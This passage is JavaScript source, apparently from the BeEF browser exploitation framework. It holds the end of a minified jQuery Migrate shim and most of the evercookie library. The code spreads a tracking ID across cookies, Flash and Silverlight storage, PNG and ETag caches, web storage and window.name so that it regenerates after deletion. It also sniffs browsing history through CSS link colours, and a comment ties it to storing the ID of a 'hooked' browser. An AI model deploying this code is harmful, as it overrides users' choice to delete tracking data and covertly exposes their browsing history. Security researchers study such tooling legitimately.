1944string"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]
1945
1946([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||0>e.indexOf
1947
1948("compatible")&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t
1949
1950[2]||"0"}},e.browser||(g=e.uaMatch(navigator.userAgent),h={},g.browser&&(h[g.browser]=!
1951
19520,h.version=g.version),h.chrome?h.webkit=!0:h.webkit&&(h.safari=!0),e.browser=h),a
1953
1954(e,"browser",e.browser,"jQuery.browser is deprecated"),e.sub=function(){function t(e,n){return new t.fn.init
1955
1956(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this
1957
1958(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t
1959
1960(a)),e.fn.init.call(this,r,a,n)},t.fn.init.prototype=t.fn;var n=t(document);return r("jQuery.sub() is
1961
1962deprecated"),t},e.ajaxSetup({converters:{"text json":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var
1963
1964a,i,o=this[0];return!o||"events"!==t||1!==arguments.length||(a=e.data(o,t),i=e._data(o,t),a!==n&&a!==i||
1965
1966i===n)?b.apply(this,arguments):(r("Use of jQuery.fn.data('events') is deprecated"),i)};var j=/\/(java|ecma)
1967
1968script/i,w=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r("jQuery.fn.andSelf() replaced by
1969
1970jQuery.fn.addBack()"),w.apply(this,arguments)},e.clean||(e.clean=function(t,a,i,o){a=a||document,a=!
1971
1972a.nodeType&&a[0]||a,a=a.ownerDocument||a,r("jQuery.clean() is deprecated");var s,u,c,l,d=[];if(e.merge
1973
1974(d,e.buildFragment(t,a).childNodes),i)for(c=function(e){return!e.type||j.test(e.type)?o?o.push
1975
1976(e.parentNode?e.parentNode.removeChild(e):e):i.appendChild(e):n},s=0;null!=(u=d[s]);s++)e.nodeName
1977
1978(u,"script")&&c(u)||(i.appendChild(u),u.getElementsByTagName!==n&&(l=e.grep(e.merge
1979
1980([],u.getElementsByTagName("script")),c),d.splice.apply(d,[s+1,0].concat(l)),s+=l.length));return d});var
1981
1982Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S="ajaxStart|
1983
1984ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",C=RegExp("\\b(?:"+S+")\\b"),H=/(?:^|\s)hover(\.\S
1985
1986+|)\b/,A=function(t){return"string"!=typeof t||e.event.special.hover?t:(H.test(t)&&r("'hover' pseudo-event is
1987
1988deprecated, use 'mouseenter mouseleave'"),t&&t.replace(H,"mouseenter$1 mouseleave
1989
1990$1"))};e.event.props&&"attrChange"!==e.event.props[0]&&e.event.props.unshift
1991
1992("attrChange","attrName","relatedNode","srcElement"),e.event.dispatch&&a
1993
1994(e.event,"handle",e.event.dispatch,"jQuery.event.handle is undocumented and
1995
1996deprecated"),e.event.add=function(e,t,n,a,i){e!==document&&C.test(t)&&r("AJAX events should be attached
1997
1998to document: "+t),Q.call(this,e,A(t||""),n,a,i)},e.event.remove=function(e,t,n,r,a){x.call(this,e,A
1999
2000(t)||"",n,r,a)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r("jQuery.fn.error() is
2001
2002deprecated"),e.splice(0,0,"error"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply
2003
2004(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r
2005
2006("jQuery.fn.toggle(handler, handler...) is deprecated");var a=arguments,i=t.guid||e.guid++,o=0,s=function(n)
2007
2008{var r=(e._data(this,"lastToggle"+t.guid)||0)%o;return e._data(this,"lastToggle"+t.guid,r+1),n.preventDefault
2009
2010(),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function
2011
2012(t,n,a){return r("jQuery.fn.live() is deprecated"),T?T.apply(this,arguments):(e(this.context).on
2013
2014(t,this.selector,n,a),this)},e.fn.die=function(t,n){return r("jQuery.fn.die() is deprecated"),M?M.apply
2015
2016(this,arguments):(e(this.context).off(t,this.selector||"**",n),this)},e.event.trigger=function(e,t,n,a){return
2017
2018n||C.test(e)||r("Global events are undocumented and deprecated"),k.call(this,e,t,n||document,a)},e.each
2019
2020(S.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add
2021
2022(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!
2023
20241},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}
2025
2026(jQuery,window);
2027
2028
2029//
2030// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
2031// Browser Exploitation Framework (BeEF) - http://beefproject.com
2032// See the file 'doc/COPYING' for copying permission
2033//
2034
2035/*
2036 * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
2037 *
2038 * by samy kamkar : code@samy.pl : http://samy.pl
2039 *
2040 * this api attempts to produce several types of persistent data
2041 * to essentially make a cookie virtually irrevocable from a system
2042 *
2043 * specifically it uses:
2044 * - standard http cookies
2045 * - flash cookies (local shared objects)
2046 * - silverlight isolated storage
2047 * - png generation w/forced cache and html5 canvas pixel reading
2048 * - http etags
2049 * - http cache
2050 * - window.name
2051 * - IE userData
2052 * - html5 session cookies
2053 * - html5 local storage
2054 * - html5 global storage
2055 * - html5 database storage via sqlite
2056 * - css history scanning
2057 *
2058 * if any cookie is found, it's then reset to all the other locations
2059 * for example, if someone deletes all but one type of cookie, once
2060 * that cookie is re-discovered, all of the other cookie types get reset
2061 *
2062 * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
2063 * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
2064 *
2065 * USAGE:
2066
2067 var ec = new evercookie();
2068
2069 // set a cookie "id" to "12345"
2070 // usage: ec.set(key, value)
2071 ec.set("id", "12345");
2072
2073 // retrieve a cookie called "id" (simply)
2074 ec.get("id", function(value) { alert("Cookie value is " + value) });
2075
2076 // or use a more advanced callback function for getting our cookie
2077 // the cookie value is the first param
2078 // an object containing the different storage methods
2079 // and returned cookie values is the second parameter
2080 function getCookie(best_candidate, all_candidates)
2081 {
2082 alert("The retrieved cookie is: " + best_candidate + "\n" +
2083 "You can see what each storage mechanism returned " +
2084 "by looping through the all_candidates object.");
2085
2086 for (var item in all_candidates)
2087 document.write("Storage mechanism " + item +
2088 " returned " + all_candidates[item] + " votes<br>");
2089 }
2090 ec.get("id", getCookie);
2091
2092 // we look for "candidates" based off the number of "cookies" that
2093 // come back matching since it's possible for mismatching cookies.
2094 // the best candidate is very-very-likely the correct one
2095
2096*/
2097
2098/* to turn off CSS history knocking, set _ec_history to 0 */
2099var _ec_history = 1; // CSS history knocking or not .. can be network intensive
2100var _ec_tests = 10;//1000;
2101var _ec_debug = 0;
2102
2103function _ec_dump(arr, level)
2104{
2105 var dumped_text = "";
2106 if(!level) level = 0;
2107
2108 //The padding given at the beginning of the line.
2109 var level_padding = "";
2110 for(var j=0;j<level+1;j++) level_padding += " ";
2111
2112 if(typeof(arr) == 'object') { //Array/Hashes/Objects
2113 for(var item in arr) {
2114 var value = arr[item];
2115
2116 if(typeof(value) == 'object') { //If it is an array,
2117 dumped_text += level_padding + "'" + item + "' ...\n";
2118 dumped_text += _ec_dump(value,level+1);
2119 } else {
2120 dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
2121 }
2122 }
2123 } else { //Stings/Chars/Numbers etc.
2124 dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
2125 }
2126 return dumped_text;
2127}
2128
2129function _ec_replace(str, key, value)
2130{
2131 if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
2132 {
2133 // find start
2134 var idx = str.indexOf('&' + key + '=');
2135 if (idx == -1)
2136 idx = str.indexOf(key + '=');
2137
2138 // find end
2139 var end = str.indexOf('&', idx + 1);
2140 var newstr;
2141 if (end != -1)
2142 newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
2143 else
2144 newstr = str.substr(0, idx) + '&' + key + '=' + value;
2145
2146 return newstr;
2147 }
2148 else
2149 return str + '&' + key + '=' + value;
2150}
2151
2152
2153// necessary for flash to communicate with js...
2154// please implement a better way
2155var _global_lso;
2156function _evercookie_flash_var(cookie)
2157{
2158 _global_lso = cookie;
2159
2160 // remove the flash object now
2161 var swf = $('#myswf');
2162 if (swf && swf.parentNode)
2163 swf.parentNode.removeChild(swf);
2164}
2165
2166var evercookie = (function () {
2167this._class = function() {
2168
2169var self = this;
2170// private property
2171_baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
2172this._ec = {};
2173var no_color = -1;
2174
2175this.get = function(name, cb, dont_reset)
2176{
2177 $(document).ready(function() {
2178 self._evercookie(name, cb, undefined, undefined, dont_reset);
2179 });
2180};
2181
2182this.set = function(name, value)
2183{
2184 $(document).ready(function() {
2185 self._evercookie(name, function() { }, value);
2186 });
2187};
2188
2189this._evercookie = function(name, cb, value, i, dont_reset)
2190{
2191 if (typeof self._evercookie == 'undefined')
2192 self = this;
2193
2194 if (typeof i == 'undefined')
2195 i = 0;
2196
2197 // first run
2198 if (i == 0)
2199 {
2200 self.evercookie_database_storage(name, value);
2201 self.evercookie_png(name, value);
2202 self.evercookie_etag(name, value);
2203 self.evercookie_cache(name, value);
2204 self.evercookie_lso(name, value);
2205 self.evercookie_silverlight(name, value);
2206
2207 self._ec.userData = self.evercookie_userdata(name, value);
2208 self._ec.cookieData = self.evercookie_cookie(name, value);
2209 self._ec.localData = self.evercookie_local_storage(name, value);
2210 self._ec.globalData = self.evercookie_global_storage(name, value);
2211 self._ec.sessionData = self.evercookie_session_storage(name, value);
2212 self._ec.windowData = self.evercookie_window(name, value);
2213
2214 if (_ec_history)
2215 self._ec.historyData = self.evercookie_history(name, value);
2216 }
2217
2218 // when writing data, we need to make sure lso and silverlight object is there
2219 if (typeof value != 'undefined')
2220 {
2221 if (
2222 (
2223 (typeof _global_lso == 'undefined') ||
2224 (typeof _global_isolated == 'undefined')
2225 )
2226 && i++ < _ec_tests
2227 )
2228 setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
2229 }
2230
2231 // when reading data, we need to wait for swf, db, silverlight and png
2232 else
2233 {
2234 if (
2235 (
2236 // we support local db and haven't read data in yet
2237 (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
2238 (typeof _global_lso == 'undefined') ||
2239 (typeof self._ec.etagData == 'undefined') ||
2240 (typeof self._ec.cacheData == 'undefined') ||
2241 (document.createElement('canvas').getContext && (typeof
2242
2243self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
2244 (typeof _global_isolated == 'undefined')
2245 )
2246 &&
2247 i++ < _ec_tests
2248 )
2249 {
2250 setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
2251 }
2252
2253 // we hit our max wait time or got all our data
2254 else
2255 {
2256 // get just the piece of data we need from swf
2257 self._ec.lsoData = self.getFromStr(name, _global_lso);
2258 _global_lso = undefined;
2259
2260 // get just the piece of data we need from silverlight
2261 self._ec.slData = self.getFromStr(name, _global_isolated);
2262 _global_isolated = undefined;
2263
2264 var tmpec = self._ec;
2265 self._ec = {};
2266
2267 // figure out which is the best candidate
2268 var candidates = new Array();
2269 var bestnum = 0;
2270 var candidate;
2271 for (var item in tmpec)
2272 {
2273 if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null'
2274
2275&& tmpec[item] != '' &&
2276 tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item]
2277
2278!= null)
2279 {
2280 candidates[tmpec[item]] = typeof candidates
2281
2282[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
2283 }
2284 }
2285
2286 for (var item in candidates)
2287 {
2288 if (candidates[item] > bestnum)
2289 {
2290 bestnum = candidates[item];
2291 candidate = item;
2292 }
2293 }
2294
2295 // reset cookie everywhere
2296 if (typeof dont_reset == "undefined" || dont_reset != 1)
2297 self.set(name, candidate);
2298
2299 if (typeof cb == 'function')
2300 cb(candidate, tmpec);
2301 }
2302 }
2303};
2304
2305this.evercookie_window = function(name, value)
2306{
2307 try {
2308 if (typeof(value) != "undefined")
2309 window.name = _ec_replace(window.name, name, value);
2310 else
2311 return this.getFromStr(name, window.name);
2312 } catch(e) { }
2313};
2314
2315this.evercookie_userdata = function(name, value)
2316{
2317 try {
2318 var elm = this.createElem('div', 'userdata_el', 1);
2319 elm.style.behavior = "url(#default#userData)";
2320
2321 if (typeof(value) != "undefined")
2322 {
2323 elm.setAttribute(name, value);
2324 elm.save(name);
2325 }
2326 else
2327 {
2328 elm.load(name);
2329 return elm.getAttribute(name);
2330 }
2331 } catch(e) { }
2332};
2333
2334this.evercookie_cache = function(name, value)
2335{
2336 if (typeof(value) != "undefined")
2337 {
2338 // make sure we have evercookie session defined first
2339 document.cookie = 'evercookie_cache=' + value;
2340
2341 // evercookie_cache.php handles caching
2342 var img = new Image();
2343 img.style.visibility = 'hidden';
2344 img.style.position = 'absolute';
2345 img.src = 'evercookie_cache.php?name=' + name;
2346 }
2347 else
2348 {
2349 // interestingly enough, we want to erase our evercookie
2350 // http cookie so the php will force a cached response
2351 var origvalue = this.getFromStr('evercookie_cache', document.cookie);
2352 self._ec.cacheData = undefined;
2353 document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
2354
2355 $.ajax({
2356 url: 'evercookie_cache.php?name=' + name,
2357 success: function(data) {
2358 // put our cookie back
2359 document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue,
2360
236131 Dec 2030 00:00:00 UTC; path=/';
2362
2363 self._ec.cacheData = data;
2364 }
2365 });
2366 }
2367};
2368
2369this.evercookie_etag = function(name, value)
2370{
2371 if (typeof(value) != "undefined")
2372 {
2373 // make sure we have evercookie session defined first
2374 document.cookie = 'evercookie_etag=' + value;
2375
2376 // evercookie_etag.php handles etagging
2377 var img = new Image();
2378 img.style.visibility = 'hidden';
2379 img.style.position = 'absolute';
2380 img.src = 'evercookie_etag.php?name=' + name;
2381 }
2382 else
2383 {
2384 // interestingly enough, we want to erase our evercookie
2385 // http cookie so the php will force a cached response
2386 var origvalue = this.getFromStr('evercookie_etag', document.cookie);
2387 self._ec.etagData = undefined;
2388 document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
2389
2390 $.ajax({
2391 url: 'evercookie_etag.php?name=' + name,
2392 success: function(data) {
2393 // put our cookie back
2394 document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31
2395
2396Dec 2030 00:00:00 UTC; path=/';
2397
2398 self._ec.etagData = data;
2399 }
2400 });
2401 }
2402};
2403
2404this.evercookie_lso = function(name, value)
2405{
2406 var div = document.getElementById('swfcontainer');
2407 if (!div)
2408 {
2409 div = document.createElement("div");
2410 div.setAttribute('id', 'swfcontainer');
2411 document.body.appendChild(div);
2412 }
2413
2414 var flashvars = {};
2415 if (typeof value != 'undefined')
2416 flashvars.everdata = name + '=' + value;
2417
2418 var params = {};
2419 params.swliveconnect = "true";
2420 var attributes = {};
2421 attributes.id = "myswf";
2422 attributes.name = "myswf";
2423 swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params,
2424
2425attributes);
2426};
2427
2428this.evercookie_png = function(name, value)
2429{
2430 if (document.createElement('canvas').getContext)
2431 {
2432 if (typeof(value) != "undefined")
2433 {
2434 // make sure we have evercookie session defined first
2435 document.cookie = 'evercookie_png=' + value;
2436
2437 // evercookie_png.php handles the hard part of generating the image
2438 // based off of the http cookie and returning it cached
2439 var img = new Image();
2440 img.style.visibility = 'hidden';
2441 img.style.position = 'absolute';
2442 img.src = 'evercookie_png.php?name=' + name;
2443 }
2444 else
2445 {
2446 self._ec.pngData = undefined;
2447 var context = document.createElement('canvas');
2448 context.style.visibility = 'hidden';
2449 context.style.position = 'absolute';
2450 context.width = 200;
2451 context.height = 1;
2452 var ctx = context.getContext('2d');
2453
2454 // interestingly enough, we want to erase our evercookie
2455 // http cookie so the php will force a cached response
2456 var origvalue = this.getFromStr('evercookie_png', document.cookie);
2457 document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC;
2458
2459path=/';
2460
2461 var img = new Image();
2462 img.style.visibility = 'hidden';
2463 img.style.position = 'absolute';
2464 img.src = 'evercookie_png.php?name=' + name;
2465
2466 img.onload = function()
2467 {
2468 // put our cookie back
2469 document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31
2470
2471Dec 2030 00:00:00 UTC; path=/';
2472
2473 self._ec.pngData = '';
2474 ctx.drawImage(img,0,0);
2475
2476 // get CanvasPixelArray from given coordinates and dimensions
2477 var imgd = ctx.getImageData(0, 0, 200, 1);
2478 var pix = imgd.data;
2479
2480 // loop over each pixel to get the "RGB" values (ignore alpha)
2481 for (var i = 0, n = pix.length; i < n; i += 4)
2482 {
2483 if (pix[i ] == 0) break;
2484 self._ec.pngData += String.fromCharCode(pix[i]);
2485 if (pix[i+1] == 0) break;
2486 self._ec.pngData += String.fromCharCode(pix[i+1]);
2487 if (pix[i+2] == 0) break;
2488 self._ec.pngData += String.fromCharCode(pix[i+2]);
2489 }
2490 }
2491 }
2492 }
2493};
2494
2495this.evercookie_local_storage = function(name, value)
2496{
2497 try
2498 {
2499 if (window.localStorage)
2500 {
2501 if (typeof(value) != "undefined")
2502 localStorage.setItem(name, value);
2503 else
2504 return localStorage.getItem(name);
2505 }
2506 }
2507 catch (e) { }
2508};
2509
2510this.evercookie_database_storage = function(name, value)
2511{
2512 try
2513 {
2514 if (window.openDatabase)
2515 {
2516 var database = window.openDatabase("sqlite_evercookie", "", "evercookie",
2517
25181024 * 1024);
2519
2520 if (typeof(value) != "undefined")
2521 database.transaction(function(tx)
2522 {
2523 tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
2524 "id INTEGER NOT NULL PRIMARY KEY
2525
2526AUTOINCREMENT, " +
2527 "name TEXT NOT NULL, " +
2528 "value TEXT NOT NULL, " +
2529 "UNIQUE (name)" +
2530 ")", [], function (tx, rs) { }, function (tx, err) { });
2531
2532 tx.executeSql("INSERT OR REPLACE INTO cache(name,
2533
2534value) VALUES(?, ?)", [name, value],
2535 function (tx, rs) { }, function (tx, err) { })
2536 });
2537 else
2538 {
2539 database.transaction(function(tx)
2540 {
2541 tx.executeSql("SELECT value FROM cache WHERE name=?",
2542
2543[name],
2544 function(tx, result1) {
2545 if (result1.rows.length >= 1)
2546 self._ec.dbData = result1.rows.item(0)
2547
2548['value'];
2549 else
2550 self._ec.dbData = '';
2551 }, function (tx, err) { })
2552 });
2553 }
2554 }
2555 } catch(e) { }
2556};
2557
2558this.evercookie_session_storage = function(name, value)
2559{
2560 try
2561 {
2562 if (window.sessionStorage)
2563 {
2564 if (typeof(value) != "undefined")
2565 sessionStorage.setItem(name, value);
2566 else
2567 return sessionStorage.getItem(name);
2568 }
2569 } catch(e) { }
2570};
2571
2572this.evercookie_global_storage = function(name, value)
2573{
2574 if (window.globalStorage)
2575 {
2576 var host = this.getHost();
2577
2578 try
2579 {
2580 if (typeof(value) != "undefined")
2581 eval("globalStorage[host]." + name + " = value");
2582 else
2583 return eval("globalStorage[host]." + name);
2584 } catch(e) { }
2585 }
2586};
2587this.evercookie_silverlight = function(name, value) {
2588 /*
2589 * Create silverlight embed
2590 *
2591 * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including
2592
2593params), so this
2594 * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
2595 */
2596 var source = "evercookie.xap";
2597 var minver = "4.0.50401.0";
2598
2599 var initParam = "";
2600 if(typeof(value) != "undefined")
2601 initParam = '<param name="initParams" value="'+name+'='+value+'" />';
2602
2603 var html =
2604 '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight"
2605
2606width="0" height="0">' +
2607 initParam +
2608 '<param name="source" value="'+source+'"/>' +
2609 '<param name="onLoad" value="onSilverlightLoad"/>' +
2610 '<param name="onError" value="onSilverlightError"/>' +
2611 '<param name="background" value="Transparent"/>' +
2612 '<param name="windowless" value="true"/>' +
2613 '<param name="minRuntimeVersion" value="'+minver+'"/>' +
2614 '<param name="autoUpgrade" value="true"/>' +
2615 '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
2616 '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight"
2617
2618style="border-style:none"/>' +
2619 '</a>' +
2620 '</object>';
2621 document.body.innerHTML+=html;
2622};
2623
2624// public method for encoding
2625this.encode = function (input) {
2626 var output = "";
2627 var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
2628 var i = 0;
2629
2630 input = this._utf8_encode(input);
2631
2632 while (i < input.length) {
2633
2634 chr1 = input.charCodeAt(i++);
2635 chr2 = input.charCodeAt(i++);
2636 chr3 = input.charCodeAt(i++);
2637
2638 enc1 = chr1 >> 2;
2639 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
2640 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
2641 enc4 = chr3 & 63;
2642
2643 if (isNaN(chr2)) {
2644 enc3 = enc4 = 64;
2645 } else if (isNaN(chr3)) {
2646 enc4 = 64;
2647 }
2648
2649 output = output +
2650 _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
2651 _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
2652
2653 }
2654
2655 return output;
2656};
2657
2658// public method for decoding
2659this.decode = function (input) {
2660 var output = "";
2661 var chr1, chr2, chr3;
2662 var enc1, enc2, enc3, enc4;
2663 var i = 0;
2664
2665 input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
2666
2667 while (i < input.length) {
2668 enc1 = _baseKeyStr.indexOf(input.charAt(i++));
2669 enc2 = _baseKeyStr.indexOf(input.charAt(i++));
2670 enc3 = _baseKeyStr.indexOf(input.charAt(i++));
2671 enc4 = _baseKeyStr.indexOf(input.charAt(i++));
2672
2673 chr1 = (enc1 << 2) | (enc2 >> 4);
2674 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
2675 chr3 = ((enc3 & 3) << 6) | enc4;
2676
2677 output = output + String.fromCharCode(chr1);
2678
2679 if (enc3 != 64) {
2680 output = output + String.fromCharCode(chr2);
2681 }
2682 if (enc4 != 64) {
2683 output = output + String.fromCharCode(chr3);
2684 }
2685
2686 }
2687
2688 output = this._utf8_decode(output);
2689
2690 return output;
2691
2692};
2693
2694// private method for UTF-8 encoding
2695this._utf8_encode = function (string) {
2696 string = string.replace(/\r\n/g,"\n");
2697 var utftext = "";
2698
2699 for (var n = 0; n < string.length; n++) {
2700
2701 var c = string.charCodeAt(n);
2702
2703 if (c < 128) {
2704 utftext += String.fromCharCode(c);
2705 }
2706 else if((c > 127) && (c < 2048)) {
2707 utftext += String.fromCharCode((c >> 6) | 192);
2708 utftext += String.fromCharCode((c & 63) | 128);
2709 }
2710 else {
2711 utftext += String.fromCharCode((c >> 12) | 224);
2712 utftext += String.fromCharCode(((c >> 6) & 63) | 128);
2713 utftext += String.fromCharCode((c & 63) | 128);
2714 }
2715
2716 }
2717
2718 return utftext;
2719};
2720
2721// private method for UTF-8 decoding
2722this._utf8_decode = function (utftext) {
2723 var string = "";
2724 var i = 0;
2725 var c = c1 = c2 = 0;
2726
2727 while ( i < utftext.length ) {
2728
2729 c = utftext.charCodeAt(i);
2730
2731 if (c < 128) {
2732 string += String.fromCharCode(c);
2733 i++;
2734 }
2735 else if((c > 191) && (c < 224)) {
2736 c2 = utftext.charCodeAt(i+1);
2737 string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
2738 i += 2;
2739 }
2740 else {
2741 c2 = utftext.charCodeAt(i+1);
2742 c3 = utftext.charCodeAt(i+2);
2743 string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
2744 i += 3;
2745 }
2746
2747 }
2748
2749 return string;
2750};
2751
2752// this is crazy but it's 4am in dublin and i thought this would be hilarious
2753// blame the guinness
2754this.evercookie_history = function(name, value)
2755{
2756 // - is special
2757 var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
2758 var baseElems = baseStr.split("");
2759
2760 // sorry google.
2761 var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
2762
2763 if (typeof(value) != "undefined")
2764 {
2765 // don't reset this if we already have it set once
2766 // too much data and you can't clear previous values
2767 if (this.hasVisited(url))
2768 return;
2769
2770 this.createIframe(url, 'if');
2771 url = url + '/';
2772
2773 var base = this.encode(value).split("");
2774 for (var i = 0; i < base.length; i++)
2775 {
2776 url = url + base[i];
2777 this.createIframe(url, 'if' + i);
2778 }
2779
2780 // - signifies the end of our data
2781 url = url + '-';
2782 this.createIframe(url, 'if_');
2783 }
2784 else
2785 {
2786 // omg you got csspwn3d
2787 if (this.hasVisited(url))
2788 {
2789 url = url + '/';
2790
2791 var letter = "";
2792 var val = "";
2793 var found = 1;
2794 while (letter != '-' && found == 1)
2795 {
2796 found = 0;
2797 for (var i = 0; i < baseElems.length; i++)
2798 {
2799 if (this.hasVisited(url + baseElems[i]))
2800 {
2801 letter = baseElems[i];
2802 if (letter != '-')
2803 val = val + letter;
2804 url = url + letter;
2805 found = 1;
2806 break;
2807 }
2808 }
2809 }
2810
2811 // lolz
2812 return this.decode(val);
2813 }
2814 }
2815};
2816
2817this.createElem = function(type, name, append)
2818{
2819 var el;
2820 if (typeof name != 'undefined' && document.getElementById(name))
2821 el = document.getElementById(name);
2822 else
2823 el = document.createElement(type);
2824 el.style.visibility = 'hidden';
2825 el.style.position = 'absolute';
2826
2827 if (name)
2828 el.setAttribute('id', name);
2829
2830 if (append)
2831 document.body.appendChild(el);
2832
2833 return el;
2834};
2835
2836this.createIframe = function(url, name)
2837{
2838 var el = this.createElem('iframe', name, 1);
2839 el.setAttribute('src', url);
2840 return el;
2841};
2842
2843// wait for our swfobject to appear (swfobject.js to load)
2844this.waitForSwf = function(i)
2845{
2846 if (typeof i == 'undefined')
2847 i = 0;
2848 else
2849 i++;
2850
2851 // wait for ~2 seconds for swfobject to appear
2852 if (i < _ec_tests && typeof swfobject == 'undefined')
2853 setTimeout(function() { waitForSwf(i) }, 300);
2854};
2855
2856this.evercookie_cookie = function(name, value)
2857{
2858 try{
2859 if (typeof(value) != "undefined")
2860 {
2861 // expire the cookie first
2862 document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
2863 document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
2864 }
2865 else
2866 return this.getFromStr(name, document.cookie);
2867 }catch(e){
2868 // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
2869 // evercookie_userdata and evercookie_window will be used in this case.
2870 }
2871};
2872
2873// get value from param-like string (eg, "x=y&name=VALUE")
2874this.getFromStr = function(name, text)
2875{
2876 if (typeof text != 'string')
2877 return;
2878
2879 var nameEQ = name + "=";
2880 var ca = text.split(/[;&]/);
2881 for (var i = 0; i < ca.length; i++)
2882 {
2883 var c = ca[i];
2884 while (c.charAt(0) == ' ')
2885 c = c.substring(1, c.length);
2886 if (c.indexOf(nameEQ) == 0)
2887 return c.substring(nameEQ.length, c.length);
2888 }
2889};
2890
2891this.getHost = function()
2892{
2893 var domain = document.location.host;
2894 if (domain.indexOf('www.') == 0)
2895 domain = domain.replace('www.', '');
2896 return domain;
2897};
2898
2899this.toHex = function(str)
2900{
2901 var r = "";
2902 var e = str.length;
2903 var c = 0;
2904 var h;
2905 while (c < e)
2906 {
2907 h = str.charCodeAt(c++).toString(16);
2908 while (h.length < 2)
2909 h = "0" + h;
2910 r += h;
2911 }
2912 return r;
2913};
2914
2915this.fromHex = function(str)
2916{
2917 var r = "";
2918 var e = str.length;
2919 var s;
2920 while (e >= 0)
2921 {
2922 s = e - 2;
2923 r = String.fromCharCode("0x" + str.substring(s, e)) + r;
2924 e = s;
2925 }
2926 return r;
2927};
2928
2929/*
2930 * css history knocker (determine what sites your visitors have been to)
2931 *
2932 * originally by Jeremiah Grossman
2933 * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
2934 *
2935 * ported to additional browsers by Samy Kamkar
2936 *
2937 * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
2938 *
2939 * - code@samy.pl
2940 */
2941
2942
2943this.hasVisited = function(url)
2944{
2945 if (this.no_color == -1)
2946 {
2947 var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -
2948
29491);
2950 if (no_style == -1)
2951 this.no_color =
2952 this._getRGB("http://samy-was-here-"+Math.floor(Math.random()
2953
2954*9999999)+"rand.com");
2955 }
2956
2957 // did we give full url?
2958 if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
2959 return this._testURL(url, this.no_color);
2960
2961 // if not, just test a few diff types if (exact)
2962 return this._testURL("http://" + url, this.no_color) ||
2963 this._testURL("https://" + url, this.no_color) ||
2964 this._testURL("http://www." + url, this.no_color) ||
2965 this._testURL("https://www." + url, this.no_color);
2966};
2967
